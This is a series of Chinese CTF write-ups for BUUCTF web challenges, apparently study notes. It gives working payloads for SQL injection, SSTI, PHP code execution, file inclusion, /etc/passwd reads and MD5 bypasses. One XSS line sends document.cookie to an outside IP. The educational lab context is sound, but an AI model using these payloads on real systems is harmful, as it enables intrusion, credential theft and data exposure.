BUUCTF(web)部分题解
[GYCTF2020]Blacklist
首先刚看到题时没什么想法,不过从回显中可以猜测是sql注入,然后他又是以这种搜索框的形式出现的,根据经验猜测很有可能是堆叠注入
然后输入1、1'、1",发现输入1'时有报错,然后在1'后面加上注释符#或--+,发现没有报错
所以可以初步判断是单引号的字符型注入
然后我尝试了用order by去爆出字段数
1' order by 2#回显正常
1' order by 3#报错,说明只有两个表
常规思路用union select语句去读取一下
发现他过滤了很多东西
select delete insert update全给过滤了
那就尝试堆叠注入呗
写入1';show databases;#
发现了很多数据库哈,接下来就一步步推进罗
1';show tables;#
发现了两个表,有个关键字哎,FlagHere,那flag应该就在这个表里面,进去看看
1';show columns from `FLagHere`#
ok,有个flag的字段,查询words表会发现有两个属性,即两列:id 和data,而FlagHere表里只有一个属性列,说明输入框可能查询的就是words表
很像我们做过的随便注,但,在这一关过滤掉了flag和rename,并且不区分大小写 换句话说我们没有办法像随便注那样将 flaghere这个表改名为words
所以我们需要尝试别的思路 Handler
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。
HANDLER … OPEN语句打开一个表
HANDLER … READ语句访问
HANDLER … CLOSE关闭一个表
于是payload为:1';HANDLER FlagHere OPEN;HANDLER FlagHere READ next;HANDLER FlagHere CLOSE;
[强网杯 2019]随便注
一眼堆叠,但还是先按基本流程来
首先用and 1=1和and 1=2判断,回显均正常,排除数字型
然后用1'发现报错,可以判断为单引号字符型注入
但是当你使用select查询的时候,会发现存在一些过滤
增删改查都被过滤了,于是尝试堆叠
1';show databases;
1';show tables;(发现关键信息)
这里先用1';show columns from `1919810931114514`;看第一个表里的字段
发现有个flag,基本可以确定,flag在这个表里面
但是你无法使用1';show flag from `1919810931114514`;查询到flag
接下来有3种解法
需要注意的是这里数字需要打反引号,如果是查询这里面的word是不需要的
方法一:
handler的使用(与blacklist考点一样)
handler可以用让我们一行一行浏览我们想要看的数据,上面有wp解释
payload:
1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;
方法二:
由于他把select过滤了,我们便可以使用编码来绕过
先将select * from 1919810931114514进行16进制编码
1';set @a=0x73656c656374202a2066726f6d2031393139383130393331313134353134;prepare execsql from @a;execute @a;#
这里我们进行了16进制编码,要在编码内容前面加上0x告诉他我采用的是什么编码,以此让其采取正确的解码方式
然后回显
可以知道过滤了set和prepare,但没关系,没有/i,对大小写不敏感,我们只用改下大小写就行
[极客大挑战 2019]LoveSQL(基础)
sql注入嘛,先试试1,1',1",发现输入1'时有报错,然后在1'后面加上注释符#或--+,发现没有报错
所以可以初步判断是单引号的字符型注入
然后走基本思路,先用order by爆字段数
1' order by 3#回显正常
1' order by 4#报错,说明只有三个表
接下来使用union联合查询,1' union select 1,2,3#
先看看数据库,1' union select 1,2,database()# 可以发现爆出了一个数据库geek
注意一下,ctf比赛中sql注入漏洞flag通常会放在当前使用的数据库中,这里已经有了数据库所以可以直接爆出数据库的表
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#或
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'# 记得查到的数据库左右两边要打单引号闭合
这里使用了group_concat(),因为直接写table_name的话他只会爆出第一个,如果想获取另外一个还需做筛查,不如使用group_concat(),更加简便
查到了两张表(geekuser, l0ve1ysq1)
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()#
然后猜测flag在password里面,你也可以一个个试
payload为:1' union select 1,2,group_concat(password) from l0ve1ysq1#
[极客大挑战 2019]HardSQL(典中典报错)
此题打开为我打开了新的sql注入思路,我像往常一样判断字符型还是数字型
输入1'发现报错,是单引号字符型注入
然后去测试字段时,发现无论我怎么尝试,全都是“你可别被我逮住了,臭弟弟”这个回显,手足无措,悄悄看了眼wp,看到他用sql字典fuzz测试了一下,发现过滤了很多东西当你尝试了很多常见注入语句都回显同一个东西时,就要想到可能是存在过滤,可以通过控制变量法来测试,也可以通过fuzz测试
通过fuzz可以知道过滤了union,and,=等,联合查询肯定是没希望的,通过控制变量法知道过滤了空格,因为你只要加了一个空格,后面跟个随便什么玩意都可以发现被过滤了
这里空格过滤可以用()绕过,如:1'(or)
等号过滤可以用like绕过,"like"<=>"="
因此这里万能密码为1'or((1)like(1))#
这里想到的方式是报错注入
报错注入基础知识
首先要知道报错函数
updatexml
(xml_doument,XPath_string,new_value)
这里有三个参数
1:XML的内容
2:需要update的位置XPATH路径
3:更新后的XML内容
往往第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式,第二个参数不接受特殊符号,如:~ !等,碰到了就会把错误爆出来,如果第二个参数是~123,就会爆出~123,那么就可以写成sql注入语句,爆出想要的东西
报错注入中连接函数可以用^或or
因此可以构造payload:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))# 爆出geek库
这里0x7e是指 ~ 的16进制,用来校验,但也不用被0x7e固定化了,只要能做到校验那填什么都可以,如:0x5c是 / 的16进制
接下来我们只需要替换中间的database()即可
database()->(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(geek)) 爆出表名
(select(table_name)from(information_schema.tables)where(table_schema)like('geek'))
database()->
(select(group_concat(password))from(H4rDsq1)) 爆出字段
最后需要注意的是
在这里由于长度限制我们只能看到前半部分flag,我们可以使用right()突破这个限制
即group_concat((right(password,25)))
en
还是值得学习的
easysql(堆叠新姿势)
拿到题目后发现是个搜索框一样的,一眼堆叠注入,先输入几个简单的数字
可以发现一个规律:输入非0数字--有会显,输入0或字母--没有回显,我们由此可以猜测后端代码含有 ||或运算符
为什么呢?因为
select command1 || command2
情况一:若command1为非0数字,则结果为1。
情况二:若command1为0或字母,command2为非0数字,则结果为1。
情况三:command1和command2都不为非0数字,则结果为0。
查看本题源码发现确实如此:$sql = "select ".$post['query']."||flag from Flag";
启用了set sql_mode=pipes_as_concat,||运算做连接符号
没启用的话,就是单纯或运算
因此此题payload可以为:
1;set sql_mode=pipes_as_concat;select 1
放在sql语句中就会执行select 1|| flag from Flag
这句sql的意思是先查询1,再查询flag,而不是查询1flag
[GXYCTF2019]BabySQli
先随便输一点数字作为账号密码,得到回显 错误的user
又试了admin,发现这次是错误的密码,说明用户名应该是admin
然后没得到有用的信息,我抓了个包,发现了里面有串神奇编码,丢到随波逐流,发现应该是个base32加密,因为解出来的明显是个base64密文,继续解密,得到了:
发现注入点应该是name
先判断字段数,但是发现order by中有脏东西,一个个排除后发现是or被过滤了
换了个大小写,成功绕过,爆出是3个字段
由于回显一直都是wrong user,无法判断显位
我便尝试报错,发现()竟然被过滤了,于是我就止步于此
看了大6的wp,发现对联合查询的了解还是不够深
sql特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
所以如果我们查询正确的用户名和错误的密码,就能导致admin密码混淆,从而成功登陆获得flag
还是先判断回显位
1'union select 'admin',2,3--+ 回显wrong user
1'union select 1,'admin',3--+ 回显wrong pass
1'union select 1,2,'admin'--+ 回显wrong user
可以猜测user字段是第二个
然后通过源码可知,密码只有进行md5加密后才能得到flag,大胆猜测密码就位于1字段或3字段
那么可以构造payload、如下:
name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'--+&pw=123
第三个md5值就是后面你传入的参数pw的md5值
[BJDCTF2020]Easy MD5
这里无论输入什么都没有回显,那就先抓个包
发现有个内置的sql语句:select * from 'admin' where password=md5($pass,true)
传进去的值会进行md5加密
我做题的时候算是蒙了,不知道怎么下手,看了大佬的wp才知道用到了ffifdyop绕过
此绕过原理是:ffifdyop这个字符串被md5哈希了以后会变成276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6,而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
所以说看到这段内置SQL语句,直接使用ffifdyop绕过即可,这就是它的原理
[BJDCTF2020]The mystery of ip(SSTI)
一个简单的ssti模板注入,可惜我没想到
这里他并不知道你的真实ip,只是做了一个默认ip值丢给你,然后在hint.php里面源代码发现
这个提醒我可能与xff或client-ip之类有关
于是我尝试输入X-Forwarded-For:127.0.0.1
发现可以更改
然后我就不会了,其实应该可以联想到xss,发现可以有弹窗,但没什么卵用
然后就是ssti模板注入
发现可以得出49,即存在ssti注入漏洞
然后这里没有过滤任何东西,所以是个很简单的ssti注入,只是没有发现是ssti
这里payload为:{{system('ls /')}}
后续就很简单了
这一题主要还是没能想到是ssti,也没能想到xss(虽然对这题没什么用),联想还是不够广泛
[护网杯 2018]easy_tornado(SSTI)
题目名字一般有提示,这里提示是tornado框架
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了
这里需要简单理解一下handler.settings,可以将其理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭
这道题另外一个难点是怎么发现注入点 md5(cookie_secret+md5(filename))
通过URL地址可以发现
可以尝试将filename参数赋为/fllllllllllllag,filehash赋为{{1+1}}测试一下ssti
正常来说可能又会在这里卡住了,我们给msg赋为{{1}}发现有回显,可以断定存在ssti注入
接下来我们利用之前所说的handler.settings就能看到关键信息了
接下来逻辑就是将/fllllllllllllag进行md5加密,然后与上面得到的md5值加起来,再一起进行md5加密一次,赋给filehash,filename依旧是/fllllllllllllag,即可得到flag
[极客大挑战 2019]RCE ME(无字母数字rce-蚁剑绕过disabled function)
这里对长度进行了限制,然后过滤了所有字母和数字,我其实想到的是自增法
因为这个不需要字母和数字,但是这个长度会很长,也不符合要求
这里搜了资料发现,url编码这东西虽然带字母和数字,但是不会被正则检测出来
但是url编码针对字母是不会进行编码的,我们需要先对目标字符串进行取反(~)操作
然后再进行url编码,可以先拿phpinfo()试下
payload:?code=(~%8F%97%8F%96%91%99%90)();
这里不用给括号和分号取反
这里可以用assert函数来进行命令执行
assert(eval($_POST[1]))
assert函数可以认为是system函数的替代
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6);
这里用蚁剑连上后,根目录下的flag是空的,readflag也是一堆乱码
懵了,又要去看wp
通过phpinfo我们可以得知 这道题有disable_function
发现过滤了我们常用的system之类的命令
所以导致 我们在开始进行RCE时通过system执行whoami时没有反应
所以在比赛以及实战中 大家都优先查看phpinfo()
有disable_function的存在所以我们构造的时通过assert实现动态调用 而不是直接system执行
注意assert在php7.1版本后就不支持了 这里不是7.1所以可以使用
连接后发现根目录的flag为空 是因为我们的权限不够
这里就需要用到题目给出的readflag
这里我们通过蚁剑的插件
选择这个模式
然后直接/readflag就能得到flag了
[RoarCTF 2019]Easy Calc
查看源代码
发现这里应该有个calc.php,进去看看
这里有一个黑名单,过滤了部分符号
然后发现当你传入的num中带有字母时,就会报错,如果是纯数字就没问题
说明可能是屏蔽了
做此题之前,我们需要了解php的一个解析特性
如果当php进行解析的时候,变量前面有空格,会去掉前面的空格再解析,那我们如果传入?%20num=xxx,由于waf只是限制了num,并不是限制了%20num,所以我们可以据此绕过waf
我们先试试能不能弹出phpinfo()
?%20num=phpinfo()
发现是可以的
我们接下来可以使用scandir(/)来遍历当前目录
但由于过滤了/,我们可以用chr(47)来代替
?%20num=var_dump(scandir(chr(47)))
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[ZJCTF 2019]NiZhuanSiWei
先审计代码,发现这里需要让text的值等于welcome to the zjctf
但是我们通过这里的get传参并不能直接为变量赋值
这里通过file_get_contents读取文件内容
我们可以通过data伪协议进行写入操作
构造payload:
?text=data://text/plain,welcome to the zjctf
这里还给了提示,file参数里面不能有flag,同时这里还有一个文件包含
我们可以用php伪协议来读取useless.php里的内容
file=php://filter/convert.base64-encode/resource=useless.php
得到一串base64加密的密文,拿去解密
正好代码里有一个反序列化部分,这里只用给file赋为flag.php
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
记住在最后的payload里不要写入php伪协议,不然就只会读出useless.php内容而读不出flag.php内容
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[RoarCTF 2019]Easy Java
这道题上来就是一个登录框
想法很多,
我尝试了弱口令爆破,用御剑开扫
都没用
点击help
发现奇奇怪怪的url,这里有个download,下载?
我尝试更改filename参数的值为各种常见备份文件啥的
也是没啥用
只能去看wp,又扩展知识面辽
WEB-INF
WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:web应用程序配置文件,扫描了servlet和其他的应用组件配置及命名规则。
/WEB-INF/classes/:包含了站点所有的class文件,包括servlet class和非servlet class,他们不能包含.jar文件中
/WEB-INF/lib:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用jar文件,如数据库驱动jar文件
/WEB-INF/src: 源码目录,按照包含包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
这里他还把get传参改为post传参,filename=WEB-INF/web.xml
先把配置文件下下来看看
这里出现了flag
然后这里就是找文件路径
WEB-INF/classes/com/wm/ctf/FlagController.class
然后就能下载一个class文件
里面有一段可疑的base64编码,解码即是flag
[BSidesCF 2020]Had a bad day
这道题刚进去发现有两个按键
然后是用php写的
点进woofers,url比较有特点
一般这种可以往文件包含,sql注入等方面想
先试试sql注入,在woofers后面加个分号试试
然后这里报错信息带出了部分源码,很明显了,可以往文件包含走
那就用php伪协议读一下index.php
?category=php://filter/convert.base64-encode/resource=index
发现了比较关键的php部分
传的参数里面必须要有woofers或meowers或index,随便把他加到哪
那我们就直接去读取flag.php吧
?category=php://filter/woofers/convert.base64-encode/resource=flag
这里还要注意,他会自动在你的文件后面加上.php后缀,所以只用写flag就行
[BJDCTF2020]ZJCTF,不过如此
这里和先前一道题很像,先用data伪协议写入I have a dream
然后用php伪协议读取next.php内容
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
这道题和我之前暑假做的一道非常像,但我记不起来了
这里大致思路是想办法调用getFlag()函数中的eval来进行命令执行
从foreach部分下手,
这里foreach将get传入的键名赋给re,键值赋给str
其中,在函数complex中,变量re就是匹配的正则规则,str则是替换的数据
有关这里的正则可以参考下面这篇文章
https://xz.aliyun.com/t/2557?time__1311=n4%2Bxni0%3DG%3Di%3D0QDCD0Qxl1aDO82A3olg2%2BiD
本来按理说既然re是匹配规则,那我们可以直接定为最简单的.*,但是在php中,会将其替换为_*,因为php特性,会将非法字符替换为下划线_
那我们只能换一个,可以使用\S*
payload:?\S*=${getFlag()}&cmd=system('cat /flag');
[GWCTF 2019]我有一个数据库
先通过dirsearch扫后台,扫到一个robots.txt,还有phpmyadmin
robots.txt指向phpinfo.php,没什么用
phpmyadmin中可以看到自动帮我们连上了
注意到这里
我们可以从网站中间件或者phpmyadmin入手,去找找该版本是否存在漏洞
然后找到一个apache的文件上传换行解析漏洞和phpmyadmin4.8.1的远程文件包含漏洞
这里没有文件上传点,所以去试试远程文件包含
在index.php后接上?target=db_sql.php%253f/../../../../../../../../etc/passwd
成功了
直接拿flag
[GXYCTF2019]禁止套娃
这题尝试了很多,都没有效果,扫目录也扫不出
只能扫到一个git
403,无权限,但至少存在
然后也没什么信息泄露,猜测可能存在源码泄露,比如git之类的
利用githack找到了一个index.php
一个带过滤的命令执行
先是过掉了伪协议,第二个正则是匹配函数调用
且只能是无参数的函数调用,有点无参数rce的感觉了
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
用这个就可得到flag
还有个比较叼的方法session_id
我们传入?exp=highlight_file(session_id(session_start()));
[NCTF2019]Fake XML cookbook
题目都给提示xml实体注入
直接构造看看pwd,盲猜flag在根目录
[WUSTCTF2020]朴实无华
dirsearch扫
robots.txt泄露,访问
发现fl4g.php
打开本来是乱码,修复一下,发现让我们去非洲
又是考的php特性,这种只能靠积累
不过第一层绕过基于intval
函数,可以去搜搜这个函数
可以注意到,intval(1e10)=1
那在这题中后面还给他加了1,应该是先转换为十进制再加1
?num=1e5
第一层绕过成功
第二层是本身等于本身md5加密后
这个以前碰到过,就是要找一个以0e开头,且其md5值也以0e开头
0e215962017
第三层先是通过strstr
函数过滤空格
str_ireplace替换字符串中的一些字符(不区分大小写)
那我们不用cat,用tac也可以
空格的话就用$IFS$9代替
fl4g.php?num=1e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag;
这是最后的payload
[BJDCTF2020]Cookie is so stable
这题是一个值得记录的SSTI
这里的知识点是利用服务端模板注入攻击。SSTI里面的Twig模板攻击
以前做到的都是jinja模板
分辨这两种模板的方法也很简单
输入{{7*'7'}},返回49表示是 Twig 模块;返回7777777表示是 Jinja2 模块
Twig模板注入有固定payload,可以积累一下
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
由于本题提示cookie,留意一下cookie可以发现user值是注入点
改cookie即可
[安洵杯 2019]easy_web
一进去就是唾弃web狗,转一圈没什么发现
但是在url栏发现了疑似base64的字符
经过两次base64加密,得到3535352e706e67
然后还有一层16进制
可以尝试有没有文件包含
把得到的图片base64解码
这里要执行命令先要绕过这个MD5
这里强比较MD5值,只能用碰撞
这里积累了这种
$a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
$b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
同时命令执行还过滤了很多东西,可以用“\”分开被过滤的命令
l\s%20/
ca\t%20/f\lag
[MRCTF2020]PYWebsite
查看源代码
发现进入一个MD5值,可以拿去somd5网站去解
ARandomString
输入验证码跳到了这里
然后这里提示只有购买者和他自己可以看到flag
作为hacker肯定不能去买啊
我们就用XFF伪造自己是出题人即可
[WesternCTF2018]shrine
审源码
目测存在ssti
证实
然后就是构造payload,由代码知,flag藏在config里面
{{get_flashed_messages.__globals__}}先用这个命令查询全局信息
发现有个函数名叫current_app
我们在这个基础上加点东西
{{get_flashed_messages.__globals__['current_app']}}
{{get_flashed_messages.__globals__['current_app'].config}}
[强网杯 2019]高明的黑客
进去就是提醒泄露敏感信息
先把源码下下来
这里面文件太多了,可以借用d盾或者别的审计工具先跑一下
然后可以发现每个文件基本上都有一个后门,我们总不可能一个个去看
先挑一个看
这个是关键,就是因为这个才导致后门不可用
没什么思路,看了wp后才发现还是自己太菜了
这么多后门中总有一个能用,那么只能靠脚本去跑
脚本我也不会写,这题逆天
[SWPU2019]Web1
首先是一个登录注册的页面
然后发现admin用户已经被注册了,然后就注册了一个admin1
有一个让我们写广告的框框,发现<script>alert(1)</script>可以弹窗
此时我有两种想法
第一就是XSS盗取管理员的cookie,伪造cookie进入admin
因为XSS一般都会有个后台机器人,会自动弹管理员的cookie
<script>window.location.href='http://114.55.62.29:1234/get.php?c='+document.cookie</script>
但是这题限制了内容长度少于40
所以不好用这个方法
第二就是sql注入--二次注入之类的,先用1' order by 1#
发现有过滤,测试出是or、#、空格
过滤or就比较麻烦,因为很多东西带有or
比如information...、order by
这里可以学到一个全新的payload
mysql.innodb_table_stats
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
此题逆天,输进去不回显,关了环境再打开就可以了,web环境的日常罢了
有两个表,ads和users,有先去看看users
然后这里需要用到无字段名爆破
这个payload看不太懂,其中部分:
(select group_concat(b) from (
select 1,2 as a,3 as b
union
select * from users
) a)
- 内层子查询:
-
- 构造虚拟表:
select 1,2 as a,3 as b
产生3列(值1,别名a=2,别名b=3)。 union select * from users
:合并users
表数据,前提是users
必须有3列,否则报错。
- 构造虚拟表:
- 数据提取:
-
group_concat(b)
:将内层结果中b
列(即第3列)的所有值拼接成字符串,泄露users
表的第3列数据(如密码)。
最后的payload为:
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[ASIS 2019]Unicorn shopy
扫目录没有发现
源代码告知成为admin可以看到惊喜,但是不知道怎么进入admin
改admin、regist也没什么用
题目提示unicode
我们先买商品看看,前三个商品一直买不到
买第四个的时候,又说只能有一个字符
但是第四个商品需要1337
于是就想到用“万”这个字,这个比1337大,也只有一个字符
然后就拿到flag了
但是看网上的wp,正确做法应该是去找一个大于thousand的单个字符
这里提供一个网站
https://www.compart.com/en/unicode
随便挑一个,复制丢进去,就可以拿flag了
[De1CTF 2019]SSRF Me
题目提示ssrf,给了一个flask模板
先整理一下
#!/usr/bin/env python
# encoding=utf-8
import sys
import os
import json
import socket
import hashlib
import urllib
from flask import Flask, requestreload(sys) # 仅Python2需要,存在兼容性问题
sys.setdefaultencoding('latin1') # 非常规编码设置,可能引发编码问题app = Flask(__name__)
secert_key = os.urandom(16) # 密钥拼写错误,应为secret_keyclass Task:def __init__(self, action, param, sign, ip):# 参数由用户输入直接控制,存在安全隐患self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip) # MD5哈希用于目录名,可能被预测# 沙盒目录创建逻辑if not os.path.exists(self.sandbox):os.mkdir(self.sandbox)def Exec(self):result = {'code': 500}if self.checkSign():# 漏洞点:允许多action组合执行if "scan" in self.action:# 文件写入操作with open("./%s/result.txt" % self.sandbox, 'w') as tmpfile:resp = scan(self.param)tmpfile.write(resp if resp != "Connection Timeout" else "")result['code'] = 200# 漏洞点:允许读取执行结果if "read" in self.action:with open("./%s/result.txt" % self.sandbox, 'r') as f:result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return result# 漏洞核心:签名验证可被绕过def checkSign(self):return getSign(self.action, self.param) == self.sign# 路由:生成签名(存在设计缺陷)
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan" # 固定action,导致签名可预测return getSign(action, param)# 主功能路由(存在多个攻击面)
@app.route('/De1ta', methods=['GET','POST'])
def challenge():# Cookie参数未经验证直接使用action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))if waf(param): # WAF存在绕过可能return "No Hacker!!!!"task = Task(action, param, sign, request.remote_addr)return json.dumps(task.Exec())# 辅助函数
@app.route('/')
def index():return open("code.txt","r").read()def scan(param):"""存在SSRF风险的扫描函数"""socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50] # 未做URL白名单校验except:return "Connection Timeout"def getSign(action, param):"""危险签名算法:MD5(secret + param + action)"""return hashlib.md5(secert_key + param + action).hexdigest() # 存在长度扩展攻击漏洞def md5(content):"""不安全的哈希实现"""return hashlib.md5(content).hexdigest()def waf(param):"""脆弱的WAF实现"""check = param.strip().lower()return check.startswith(("gopher", "file")) # 过滤协议不全面if __name__ == '__main__':app.debug = False # 生产环境配置app.run(host='0.0.0.0', port=80)
值得注意的是这里是in而不是==
那么只要存在scan和read就都可以触发if
这里将文件存在一个沙盒内,先去看看沙盒是什么
就是ip的md5值,这个就可以由自己定制了
这题有3个路由
先看De1ta路由,接受3个参数
其中action和sign通过cookie传入,param通过get传入
且param需要过waf,这里waf也比较简单,不以gopher和file开头就行
最后以json格式输出读取到的内容
然后又到了Task类,调用Exec方法
得先check过
这里还调用了getSign函数,得到的结果要等于sign
这里可以构造一个特定md5出来
再看下第二个路由geneSign
也是用了getSign函数,当我们访问geneSign路由,会回显一个MD5
那我们可以借助这个来构造,题目给了提示,flag在flag.txt
同时,路由De1ta中action需要包含action和read
而路由getSign由secert_key+"param"+scan组成
那我们可以构造:
secert_key+flag.txtread+scan
然后只用在路由De1ta通过get传参param=flag.txt
cookie传入sign=5087fa3dae6b2254fde2be219c3ec82e;action=readscan
虽然不知道哪里考了ssrf,但是好像审代码就可以出
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}
先看源码,先是有一个长度过滤
限制80个字符
过滤了这些
接着给了一个白名单,是一些数学函数
白名单中数学函数分两种利用方法,进制转换和异或,旨在调用能返回字符串的数学函数,达到命令执行的目的
白名单里进制转换的函数:
['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
'base_convert', 'bindec', 'decbin', 'dechex', 'hexdec', 'decoct','octdec'
函数具体用法可以去搜搜
base_convert() 函数在任意进制之间转换数字
bindec() 函数把二进制数转换为十进制数
decbin() 函数把十进制数转换为二进制数
dechex() 函数把十进制数转换为十六进制数
hexdec() 函数把十六进制数转换为十进制数
decoct() 函数把十进制数转换为八进制数
octdec() 函数把八进制数转换为十进制数
这里全是转换进制的函数,估摸着最有用的函数就是base_convert了
了解base_convert的用法后开始手搓
依照这个原理,可以拿到shell
到这里为止都是简单的,难就难在我们想执行ls /看根目录
但是36进制只能包括所有字母+数字,不包含特殊字符,空格也不行
且36进制已经是php的上限,所以得换个思路
利用base_convert构造别的函数出来
这里介绍一个函数hex2bin
可以将16进制字符串转换为ASCII字符
然后经过了漫长的手搓
由于hex2bin()里面必须要带引号,而我们没办法整引号进去
但是我们可以找一个函数将数值直接转换为16进制
dechex() 函数把十进制数转换为十六进制数
这里就可以用到这个函数
这是我执行ls /的paylaod
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(dechex(1819484207)))
可惜太长了,我又想不用system,用别的命令执行函数
exec没回显,popen不好用,找不到比他更短的了
只能另寻其路
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
?c=$pi=_GET;$_GET['pi']($_GET['abs'])&pi=system&abs=cat /flag
这是大佬的payload,我只能说tql
这里pi和abs并不是空穴来风
这是白名单函数里最短的两个,优先找最短的
base_convert(37907361743,10,36)(dechex(1598506324))
这里就是为了得到_GET
后面就是参数逃逸了
很牛逼我只能说
[BJDCTF2020]EasySearch
一个登录界面,源代码没有发现信息
于是目录扫描,发现有备份文件index.php.swp
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
发现登录逻辑,只要密码的MD5值以6d0bc1开头就可以登录成功
这个靠自己用脚本爆破就行,这里贴一个脚本
爆破数字的MD5
